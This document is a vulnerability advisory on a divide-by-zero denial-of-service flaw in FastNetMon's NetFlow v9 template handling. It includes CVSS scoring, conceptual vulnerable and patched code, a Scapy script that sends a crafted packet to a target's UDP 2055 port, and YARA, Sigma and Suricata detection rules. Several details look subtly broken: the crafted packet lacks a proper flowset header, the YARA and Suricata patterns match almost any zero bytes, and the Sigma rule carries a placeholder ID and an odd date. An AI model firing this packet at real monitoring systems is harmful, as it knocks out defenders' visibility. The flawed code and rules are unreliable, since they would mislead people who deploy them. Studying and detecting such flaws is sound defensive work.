CVE-2024-56073

Executive Summary

CVE-2024-56073 is a denial-of-service (DoS) vulnerability in FastNetMon Community Edition, a network traffic analysis tool. The flaw resides in the NetFlow v9 processing module, where zero-length templates cause a divide-by-zero error, leading to an application crash. This vulnerability is remotely exploitable without authentication, posing a significant availability risk to network monitoring infrastructure. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone network monitoring application. The risk is primarily to on-premises deployments of FastNetMon.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is easily exploitable remotely and can cause a complete denial of service, disrupting network monitoring capabilities.

Deep Dive & Mechanics

The vulnerability exists in the NetFlow v9 template processing logic within FastNetMon. NetFlow v9 uses templates to define the format of data records. When a template with a zero-length field is received, the application attempts to divide by this zero value during parsing, resulting in a divide-by-zero error. This error is unhandled, causing the application to crash.

Root Cause: Lack of input validation on template field lengths. The code does not check for zero-length fields before performing arithmetic operations.

Attack Vector: An attacker sends a crafted NetFlow v9 packet containing a template with a zero-length field. This can be done from any network-accessible host.

Impact: The FastNetMon process crashes, stopping all traffic analysis and alerting. This can blind network defenders to ongoing attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable template parsing
void parse_template(uint16_t field_length) {
    uint32_t total_length = 0;
    // No check for zero length
    total_length = data_size / field_length; // Divide by zero if field_length == 0
    // ... rest of parsing
}

Patched Code (Conceptual):

// Pseudocode for patched template parsing
void parse_template(uint16_t field_length) {
    if (field_length == 0) {
        log_error("Invalid zero-length template field");
        return; // Gracefully reject the template
    }
    uint32_t total_length = 0;
    total_length = data_size / field_length;
    // ... rest of parsing
}

Patch Status: No official patch has been released by the vendor. Users are advised to implement network-level filtering or disable NetFlow v9 processing if possible.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running FastNetMon Community Edition <= 1.2.7
• Network access to the NetFlow port (default: 2055/UDP)

Exploitation Steps:

1. Craft a NetFlow v9 packet with a zero-length template field.
2. Send the packet to the target's NetFlow collector port.
3. The application crashes, causing a denial of service.

Example Packet Crafting (using Scapy):

from scapy.all import *
import struct

# NetFlow v9 header
version = 9
count = 1
sys_uptime = 0
unix_secs = 0
package_sequence = 0
source_id = 0

header = struct.pack('!HHIIII', version, count, sys_uptime, unix_secs, package_sequence, source_id)

# Template flowset with zero-length field
template_id = 256
field_count = 1
# Field: type=1 (IN_BYTES), length=0 (zero-length)
field_type = 1
field_length = 0

template_flowset = struct.pack('!HH', template_id, field_count)
template_flowset += struct.pack('!HH', field_type, field_length)

packet = header + template_flowset

send(IP(dst="TARGET_IP")/UDP(sport=12345, dport=2055)/Raw(load=packet))

Blue Team

Detection:

• Monitor for NetFlow v9 packets with template fields of length 0.
• Use the provided Suricata rule to detect malicious packets.

Mitigation:

• Implement network access control lists (ACLs) to restrict NetFlow traffic to trusted sources.
• If possible, disable NetFlow v9 processing and use NetFlow v5 or IPFIX instead.
• Apply vendor patches when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • NetFlow v9 packets with template field length = 0
  • UDP packets to port 2055 with malformed template structures
• System IOCs:
  • FastNetMon process crash logs
  • Core dumps from FastNetMon
  • Application log entries indicating divide-by-zero errors

Detection Engineering

YARA Rule

rule CVE_2024_56073_NetFlow_v9_Zero_Length_Template {
    meta:
        description = "Detects NetFlow v9 packets with zero-length template fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-56073"
    strings:
        $netflow_v9 = { 00 09 } // NetFlow v9 version
        $zero_length = { 00 00 } // Zero-length field
    condition:
        $netflow_v9 at 0 and $zero_length
}

Sigma Rule

title: CVE-2024-56073 FastNetMon NetFlow v9 Zero-Length Template DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects NetFlow v9 packets with zero-length template fields targeting FastNetMon
author: Valters IT
logsource:
    category: network_flow
    product: netflow
detection:
    selection:
        netflow_version: 9
        template_field_length: 0
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert udp any any -> any 2055 (msg:"CVE-2024-56073 FastNetMon NetFlow v9 Zero-Length Template DoS"; flow:to_server; content:"|00 09|"; depth:2; content:"|00 00|"; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Filtering: Block untrusted UDP traffic to port 2055.
2. Disable NetFlow v9: If possible, switch to NetFlow v5 or IPFIX.
3. Monitor Logs: Watch for application crashes and divide-by-zero errors.

Long-Term Fix:

• Apply vendor patches when released.
• Implement input validation for all NetFlow template fields.
• Consider using a Web Application Firewall (WAF) or network intrusion prevention system (IPS) to filter malicious packets.

Workaround:

• Use a proxy or load balancer to validate NetFlow packets before they reach FastNetMon.

Valters IT